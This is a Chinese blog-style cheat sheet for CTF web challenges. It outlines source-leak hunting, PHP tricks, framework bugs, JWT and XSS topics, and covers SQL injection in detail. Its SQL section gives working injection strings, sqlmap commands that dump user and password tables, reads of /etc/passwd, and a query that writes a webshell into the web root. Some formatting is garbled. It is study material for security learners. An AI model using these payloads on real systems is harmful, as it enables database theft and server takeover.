最全CTF Web题思路总结(更新ing)

网上似乎没有一篇比较完整的CTF Web题思路的总结,希望这篇“最全总结”对各位师傅有帮助。

文章目录

  • 基础
    • Flag可能出现的位置
    • 网页源代码(注意注释)
    • 数据库中
    • phpinfo
    • 靶机中的文件
    • 环境变量
    • 题目要求
    • XFF/Refer/UA/Cookie/F12(view-source)/URL/robots.txt/响应码/
    • 指纹识别
    • 工具
      • Arjun:HTTP参数挖掘套件
      • TideFinger/Bscan/Glass
    • Wappalyzer插件
    • 错误界面(404/302)
    • 源码泄露(dirsearch)
    • Git
      • Githack恢复
      • 查看log后选择性地进行git reset回滚
      • .git/config可能有access_token信息
    • SVN
      • Seay-svn
      • dvcs-ripper工具
      • 注意wc.db文件存在与否
    • WEB-INF/web.xml泄露
    • .DS_Store文件泄漏
    • .hg泄露
      • dvcs-ripper工具
    • CVS泄露
    • 备份文件泄露
      • gedit:filename \~
      • vim:vim -r filename.swp/.swo/.swn
      • www.zip/rar/tar.gz
    • PHP专题
    • MD5/SHA1数组绕过、0e
    • is_numeric()绕过:33a
    • 比较大小:数组大于任何其他类型
    • intval() 1a/1%00/a1=0
    • 正则式:/e可执行,构造越界
  • 命令执行
    • 运用分隔符&或\| 若无严格过滤可出现任意漏洞执行漏洞
    • 反弹shell的方式
    • %0A参数污染
    • 无参RCE
    • 绕过preg_match的RCE
    • 过滤与bypass
    • linux中{IFS}可以代替空格
    • 内联执行
    • 长度限制与解决方案
    • 利用文件名
    • MySQL服务端恶意读取客户端文件漏洞
    • Redis 4.x CVE
    • 主从复制写shell
    • Redis结合SSRF
  • 容器和框架漏洞
    • Nginx配置漏洞
    • Windows相关
    • IIS PUT上传漏洞
    • IIS 远程溢出漏洞
    • IIS短文件漏洞
    • 文件上传的绕过
    • Apache HTTP组件提权漏洞
    • CGI 漏洞
    • ThinkPHP
    • Twig
    • Laravel
    • Smarty
    • ASP
    • ASP.NET VIEWSTATE反序列化
    • web.config利用
    • JAVA WEB
    • Struts2框架漏洞
      • OGNL注入
    • Spring框架漏洞
      • SPEL注入
      • 组件漏洞
      • FastJson等
    • 反序列化漏洞
      • Hessian
      • 二进制(ObjectOutputStream)
      • JSON
      • XML
      • YAML
    • JRMP安全性问题
    • JWT攻击
    • 敏感信息泄露
    • 将算法修改为none
    • 密钥混淆攻击
    • 无效签名
    • 暴力破解密钥
    • 密钥泄露
    • 操纵KID
    • 操纵头部参数
    • JavaScript框架
    • SSJI(服务端JavaScript注入)
      • Node.js
      • Vue.js
    • JavaScript Prototype 污染攻击
    • Python
    • 沙箱逃逸
      • 利用内建函数执行命令
      • 过滤与bypass
    • 各种框架的漏洞
      • Flask
      • SESSION安全问题
        • 敏感信息泄露
        • 验证码绕过
        • SESSION伪造和对象注入漏洞
        • 使用hash而非hmac进行签名
        • Hash长度拓展攻击
        • 任意文件读取
        • 加密而未签名
        • CBC字节翻转攻击
      • Tornado
      • Django
    • 反序列化漏洞
      • pickle模块
    • Ruby
    • ERB模板注入
  • SQL注入及数据库
    • 手工注入
    • 原理
      • 用户输入的内容传到web应用,没有经过过滤或者严格的过滤,被带入到了数据库中进行执行
    • 漏洞产生的关键条件
      • 用户能够控制 自己的输入
      • 直接控制输入
      • 间接控制输入
        • 二次注入
    • 按照数据库分类
      • mysql数据库
      • 六种基本的注入模式
        • 联合注入
        • 几大基本步骤
          • 判断是否有注入以及注入点的类型
          • 是否有注入
            • 加单引号
            • and 8731=8731
            • and 'a'='a'
            • and 1=2
            • or 1=1
            • or 1=2
          • 注入点类型
            • 字符型
            • '
            • "
            • ')
            • ")
            • %'
            • 数字型
          • 判断查询列数
          • 为什么
            • union 前后两个select语句的列数要一致
          • 原理
            • order by是排序的语句
            • select \* from users order by id
            • select \* from users order by id desc
            • select \* from users order by 1
          • order by n
          • 联合查询
          • union
            • id=1' union select 1,2,3--+
            • id=-1' union select 1,2,3--+
          • 获取基本信息
          • version()
            • 获取数据库的版本
          • database()
            • 获取当前网站使用的数据库
          • user()
            • 当前网站使用的数据库账号
          • @@secure_file_priv
            • 数据库的读写文件
          • @@datadir
            • 数据库的安装目录
            • phpstudy
            • wamp
          • ......(自行补充)
          • 获取数据库名
          • information_schema数据库
            • schemata数据表
            • tables数据表
            • columns数据表
          • schemata数据表里面获取数据库名
            • select schema_name from schemata;
            • id=1' union select 1,2,group_concat(schema_name) from information_schema.schemata
          • 获取数据表名
          • tables表
            • select table_name from tables where table_schema='security';
            • select table_name from tables where table_schema=database();
            • id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
          • 获取列名
          • columns表
            • select column_name from columns where table_schema='security' and table_name='users';
          • 优化步骤
          • select table_name,column_name from columns where table_schema='security';
          • id=1' union select 1,2,group_concat(table_name,'\_',column_name) from information_schema.columns where table_schema=database()
          • 获取数据
          • md5破解
          • md5破解的做法
            • 暴力枚举
        • 报错注入
        • 几个函数
          • updatexml
          • extractvalue
          • 报错的原理
            • 构造不满足xpath语法的内容
          • 报错的语句
            • id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e))
          • 注意
            • 版本限制
            • 32位长度限制
            • substr
          • 其他函数
        • 布尔盲注
        • 原理
          • 布尔运算
          • and
          • or
        • 步骤
          • 获取数据库名
          • 判断有多少个数据库
            • count()
          • 判断第一个数据库名的长度
            • length()
          • 获取第一个每一位数据库名字的字符
            • substr()
            • ascii()
          • 判断第二个数据库名的长度
          • 获取第二个数据库每一位数据库名字的字符
          • 获取数据表名
          • 判断数据库里面有多少个数据表
          • 判断第一个数据库的长度
          • 获取第一个数据表的每一位字符
          • 获取列名
          • 获取数据
        • 时间盲注
        • 原理
          • 发送一个请求,网站接受请求,并发送到数据库执行相关的操作,等待数据库返回结果,人为的延长数据库的执行时间,判断是否有注入
        • 步骤
          • 同布尔盲注
          • if(判断条件,条件为真时返回的值,条件为假时返回的值)
          • sleep()
          • benchmark()
        • 堆叠注入
        • mysqli_query函数不支持堆叠注入
        • mysqli_muiti_query()支持堆叠注入
        • 语法
          • select \* from users;create table you(id int);#
          • id=1';create table you(id int);#
        • 内联注入
        • 子查询
          • select (select 1)
        • 区别
        • 应用范围
          • 时间盲注\>布尔盲注\>报错注入=联合注入
        • 利用便捷度
          • 联合注入\>报错注入\>布尔盲注\>时间盲注
      • sql server数据库
      • access数据库
      • oracle数据库
      • mongodb数据库
    • 按照语句划分
      • select
      • 四种基本注入
      • update
      • 联合注入不行
      • insert
      • 联合注入不行
      • delete
      • 联合注入不行
      • limit之后的注入
      • order by之后的注入
    • 按照位置划分
      • get
      • post
      • http header
      • cookie
      • referer
      • user-agent
      • 注意
      • 不管这个数据从什么地方传到数据库执行的,只要数据可控,那就有可能产生注入漏洞
    • 其他类型
      • base64注入
      • 二次解码注入
      • 插入admin\\'or\\'1
      • 宽字节注入
      • OOB-dns外带注入
    • sqlmap
    • 基本步骤
      • 检测是否有注入点
      • sqlmap -u "http://www.xxx.com/1.php?id=1"
      • 获取所有数据库名
      • sqlmap -u "http://www.xxx.com/1.php?id=1" --dbs
      • 获取数据表
      • sqlmap -u "http://www.xxx.com/1.php?id=1" -D liuyanban --tables
      • 获取列名
      • sqlmap -u "http://www.xxx.com/1.php?id=1" -D liuyanban -T users --columns
      • 获取数据
      • sqlmap -u "http://www.xxx.com/1.php?id=1" -D liuyanban -T users -C id,username,password --dump
    • 常用参数
      • -r
      • 读取文件,提交数据包
      • 用\*进行标记
      • -m
      • 批量注入
      • --cookie
      • --user-agent
      • --current-db
      • --current-user
      • --users
      • 获取当前数据库的登陆用户
      • --passwords
      • 获取当前数据库的用户密码
      • -v
      • 五个等级
      • --level
      • --delay
      • --time-sec
    • 读写文件
      • 原理
        • load_file
        • 关键条件
          • 有读权限
          • secure_file_priv
          • SELinux
          • 知道绝对路径
        • 用法
          • id=1' union select 1,2,load_file('/etc/passwd')
          • id=1' union select 1,2,load_file(0x0000000)
          • id=1' union select 1,2,load_file(char(10,20))
          • id=1' union select 1,2,hex(load_file(char(10,20)))
        • into outfile
        • 关键条件
          • 有写权限
          • secure_file_priv
          • SELinux
          • 知道绝对路径
          • 绕过单引号的过滤
        • 用法
          • id=1' union select 1,2,' ¶ ``{=html} ¶ ' into outfile '/var/www/html/shell.php'
          • id=1' union select 1,2,0x00000000 into outfile '/var/www/html/shell.php'
      • 参数
        • --file-read
        • --file-write
        • --file-dest
      • 进阶参数
      • --os-shell
        • 原理
        • 利用写文件,先写入一个简单的上传页面,再利用上传页面,上传一个webshell执行命令,从webshell页面获取命令回显
      • --os-cmd
    • waf
      • 原理
      • 身份认证
        • 白名单
        • 黑名单
      • 数据包解析
      • 规则匹配
      • 绕waf的方式
      • 身份认证层面
        • 伪造白名单
      • 数据包解析层面
        • 数据包加密
        • 冰蝎
        • 自加密
      • 规则匹配层面
        • 利用数据库、中间件、编程语言的种种特性进行绕过
      • 绕waf基础方式
      • 大小写
        • uNioN SeLect
      • 替代
        • UNunionION SELselectECT
      • 特殊字符
        • 代替空格的特殊字符
        • %0a
        • %0c
        • 括号
        • 花括号
      • 编码
        • url编码
        • unicode编码
      • 注释符号
        • 普通注释
        • 内联注释
      • 综合方式
        • 大小写
        • 特殊字符
        • 编码
        • 注释符号
      • 参数污染
      • 缓冲区溢出
      • 分块传输
      • 正则绕过:\\bselect\\b -\> /\*! 50000select\*/
      • 遗漏的注入点
      • tamper
      • 常用的tamper脚本
      • 用法
        • sqlmap -u "http://www.xxx.com/index.php?id=1" --tamper space2comment.py
      • 进阶
        • 自己编写tamper脚本
    • 注意站库分离
  • XSS/CSRF/XXE/SSRF/SSTI
    • XSS
    • 过滤特定标签
      • 使用事件
      • 使用新标签
    • 过滤事件
      • fuzz
      • 使用伪协议或其他可以执行JS代码的标签属性
    • 过滤敏感关键字(字符)
      • 字符串拼接混淆
      • 编解码
      • 在XSS放置在客户端
      • 字符相关
    • 字符集编码相关
      • 宽字节
    • 长度限制
      • 利用第三方库函数
      • 利用注释
      • window.name和location.\*
    • HttpOnly相关
      • CVE-2012-0053
      • phpinfo()
      • 利用Flash/Java的API
    • XSS Auditor
      • 字符集编码
      • 利用协议理解不一致
      • 利用CRLF
    • CSP
    • SSTI
    • tqlmap工具
    • XXE
    • 原理
      • xml外部实体注入
    • 实体
      • 内部实体
      • 外部实体
    • xml格式
    • 利用
      • 任意文件读取
      • ssrf
      • 命令执行
    • CSRF
    • 原理
    • 跨域
      • 同源
      • 协议相同
      • 域名相同
      • 端口相同
      • 同源策略
        • ajax无法跨域
        • 自动表单提交
        • ¶ `

基础

Flag可能出现的位置

网页源代码(注意注释)

数据库中

phpinfo

靶机中的文件

环境变量

题目要求

XFF/Refer/UA/Cookie/F12(view-source)/URL/robots.txt/响应码/

指纹识别

工具

Arjun:HTTP参数挖掘套件

TideFinger/Bscan/Glass

Wappalyzer插件

错误界面(404/302)

源码泄露(dirsearch)

Git

Githack恢复

查看log后选择性地进行git reset回滚

.git/config可能有access_token信息

SVN

Seay-svn

dvcs-ripper工具

注意wc.db文件存在与否

WEB-INF/web.xml泄露

.DS_Store文件泄漏

.hg泄露

dvcs-ripper工具

CVS泄露

备份文件泄露

gedit:filename ~

vim:vim -r filename.swp/.swo/.swn

www.zip/rar/tar.gz

PHP专题

MD5/SHA1数组绕过、0e

is_numeric()绕过:33a

比较大小:数组大于任何其他类型

intval() 1a/1%00/a1=0

正则式:/e可执行,构造越界

命令执行

运用分隔符&或| 若无严格过滤可出现任意漏洞执行漏洞

反弹shell的方式

%0A参数污染

无参RCE

绕过preg_match的RCE

非常经典的如无符号RCE

过滤与bypass

linux中{IFS}可以代替空格

内联执行

长度限制与解决方案

利用文件名

MySQL服务端恶意读取客户端文件漏洞

Redis 4.x CVE

主从复制写shell

https://github.com/n0b0dyCN/redis-rogue-server

Redis结合SSRF

https://github.com/xmsec/redis-ssrf

容器和框架漏洞

Nginx配置漏洞

Windows相关

IIS PUT上传漏洞

IIS 远程溢出漏洞

IIS短文件漏洞

文件上传的绕过

Apache HTTP组件提权漏洞

CVE-2019-0211

CGI 漏洞

ThinkPHP

Twig

Laravel

Smarty

ASP

ASP.NET VIEWSTATE反序列化

web.config利用

JAVA WEB

Struts2框架漏洞

OGNL注入

Spring框架漏洞

SPEL注入

组件漏洞

FastJson等

反序列化漏洞

Hessian

二进制(ObjectOutputStream)

JSON

XML

YAML

JRMP安全性问题

JWT攻击

敏感信息泄露

将算法修改为none

密钥混淆攻击

无效签名

暴力破解密钥

密钥泄露

操纵KID

操纵头部参数

JavaScript框架

SSJI(服务端JavaScript注入)

Node.js

Vue.js

JavaScript Prototype 污染攻击

Python

沙箱逃逸

利用内建函数执行命令

过滤与bypass

各种框架的漏洞

Flask

SESSION安全问题

https://www.leavesongs.com/PENETRATION/client-session-security.html

敏感信息泄露

验证码绕过

SESSION伪造和对象注入漏洞

使用hash而非hmac进行签名

Hash长度拓展攻击

任意文件读取

加密而未签名

CBC字节翻转攻击

Tornado

Django

反序列化漏洞

pickle模块

Ruby

ERB模板注入

SQL注入及数据库

手工注入

原理

用户输入的内容传到web应用,没有经过过滤或者严格的过滤,被带入到了数据库中进行执行

漏洞产生的关键条件

用户能够控制 自己的输入

直接控制输入

间接控制输入

二次注入

按照数据库分类

mysql数据库

六种基本的注入模式

联合注入

几大基本步骤

判断是否有注入以及注入点的类型
是否有注入
加单引号
and 8731=8731
and ‘a’=‘a’
and 1=2
or 1=1
or 1=2
注入点类型
字符型
"
')
")
%’
数字型
判断查询列数
为什么
union 前后两个select语句的列数要一致
原理
order by是排序的语句
select * from users order by id
select * from users order by id desc
select * from users order by 1
order by n
联合查询
union
id=1’ union select 1,2,3–+
id=-1’ union select 1,2,3–+
获取基本信息
version()
获取数据库的版本
database()
获取当前网站使用的数据库
user()
当前网站使用的数据库账号
@@secure_file_priv
数据库的读写文件
@@datadir
数据库的安装目录
phpstudy

####### c:\phpstudy\mysql

####### c:\phpstudy\www

wamp

####### c:\wamp\mysql

####### c:\wamp\www

…(自行补充)
获取数据库名
information_schema数据库
schemata数据表
tables数据表
columns数据表
schemata数据表里面获取数据库名
select schema_name from schemata;
id=1’ union select 1,2,group_concat(schema_name) from information_schema.schemata
获取数据表名
tables表
select table_name from tables where table_schema=‘security’;
select table_name from tables where table_schema=database();
id=1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
获取列名
columns表
select column_name from columns where table_schema=‘security’ and table_name=‘users’;
优化步骤
select table_name,column_name from columns where table_schema=‘security’;
id=1’ union select 1,2,group_concat(table_name,’_’,column_name) from information_schema.columns where table_schema=database()
获取数据
md5破解
md5破解的做法
暴力枚举

报错注入

几个函数

updatexml
extractvalue
报错的原理
构造不满足xpath语法的内容
报错的语句
id=1’ and extractvalue(1,concat(0x7e,(select user()),0x7e))
注意
版本限制
32位长度限制
substr
其他函数

布尔盲注

原理

布尔运算
and
or

步骤

获取数据库名
判断有多少个数据库
count()
判断第一个数据库名的长度
length()
获取第一个每一位数据库名字的字符
substr()
ascii()
判断第二个数据库名的长度
获取第二个数据库每一位数据库名字的字符
获取数据表名
判断数据库里面有多少个数据表
判断第一个数据库的长度
获取第一个数据表的每一位字符
获取列名
获取数据

时间盲注

原理

发送一个请求,网站接受请求,并发送到数据库执行相关的操作,等待数据库返回结果,人为的延长数据库的执行时间,判断是否有注入

步骤

同布尔盲注
if(判断条件,条件为真时返回的值,条件为假时返回的值)
sleep()
benchmark()

堆叠注入

mysqli_query函数不支持堆叠注入

mysqli_muiti_query()支持堆叠注入

语法

select * from users;create table you(id int);#
id=1’;create table you(id int);#

内联注入

子查询

select (select 1)

区别

应用范围

时间盲注>布尔盲注>报错注入=联合注入

利用便捷度

联合注入>报错注入>布尔盲注>时间盲注

sql server数据库

access数据库

oracle数据库

mongodb数据库

按照语句划分

select

四种基本注入

update

联合注入不行

insert

联合注入不行

delete

联合注入不行

limit之后的注入

order by之后的注入

按照位置划分

get

post

http header

cookie

referer

user-agent

注意

不管这个数据从什么地方传到数据库执行的,只要数据可控,那就有可能产生注入漏洞

其他类型

base64注入

二次解码注入

插入admin\'or\'1

宽字节注入

OOB-dns外带注入

sqlmap

基本步骤

检测是否有注入点

sqlmap -u “http://www.xxx.com/1.php?id=1”

获取所有数据库名

sqlmap -u “http://www.xxx.com/1.php?id=1” --dbs

获取数据表

sqlmap -u “http://www.xxx.com/1.php?id=1” -D liuyanban --tables

获取列名

sqlmap -u “http://www.xxx.com/1.php?id=1” -D liuyanban -T users --columns

获取数据

sqlmap -u “http://www.xxx.com/1.php?id=1” -D liuyanban -T users -C id,username,password --dump

常用参数

-r

读取文件,提交数据包

用*进行标记

-m

批量注入

–cookie

–user-agent

–current-db

–current-user

–users

获取当前数据库的登陆用户

–passwords

获取当前数据库的用户密码

-v

五个等级

–level

–delay

–time-sec

读写文件

原理

load_file

关键条件

有读权限
secure_file_priv
SELinux
知道绝对路径

用法

id=1’ union select 1,2,load_file(’/etc/passwd’)
id=1’ union select 1,2,load_file(0x0000000)
id=1’ union select 1,2,load_file(char(10,20))
id=1’ union select 1,2,hex(load_file(char(10,20)))

into outfile

关键条件

有写权限
secure_file_priv
SELinux
知道绝对路径
绕过单引号的过滤

用法

id=1’ union select 1,2,’ ¶ {=html} ¶ ’ into outfile ‘/var/www/html/shell.php’
id=1’ union select 1,2,0x00000000 into outfile ‘/var/www/html/shell.php’

参数

–file-read

–file-write

–file-dest

进阶参数

–os-shell

原理

利用写文件,先写入一个简单的上传页面,再利用上传页面,上传一个webshell执行命令,从webshell页面获取命令回显

–os-cmd

waf

原理

身份认证

白名单

黑名单

数据包解析

规则匹配

绕waf的方式

身份认证层面

伪造白名单

数据包解析层面

数据包加密

冰蝎

自加密

规则匹配层面

利用数据库、中间件、编程语言的种种特性进行绕过

绕waf基础方式

大小写

uNioN SeLect

替代

UNunionION SELselectECT

特殊字符

代替空格的特殊字符

%0a

%0c

括号

花括号

编码

url编码

unicode编码

注释符号

普通注释

内联注释

综合方式

大小写

特殊字符

编码

注释符号

参数污染

缓冲区溢出

分块传输

正则绕过:\bselect\b -> /*! 50000select*/

遗漏的注入点

tamper

常用的tamper脚本

用法

sqlmap -u “http://www.xxx.com/index.php?id=1” --tamper space2comment.py

进阶

自己编写tamper脚本

注意站库分离

XSS/CSRF/XXE/SSRF/SSTI

XSS

过滤特定标签

使用事件

使用新标签

过滤事件

fuzz

使用伪协议或其他可以执行JS代码的标签属性

过滤敏感关键字(字符)

字符串拼接混淆

编解码

在XSS放置在客户端

字符相关

字符集编码相关

宽字节

长度限制

利用第三方库函数

利用注释

window.name和location.*

HttpOnly相关

CVE-2012-0053

phpinfo()

利用Flash/Java的API

XSS Auditor

字符集编码

利用协议理解不一致

利用CRLF

CSP

SSTI

tqlmap工具

XXE

原理

xml外部实体注入

实体

内部实体

外部实体

xml格式

利用

任意文件读取

ssrf

命令执行

CSRF

原理

跨域

同源

协议相同

域名相同

端口相同

同源策略

ajax无法跨域

自动表单提交

你可能感兴趣的:(CTF,网络安全,php,web)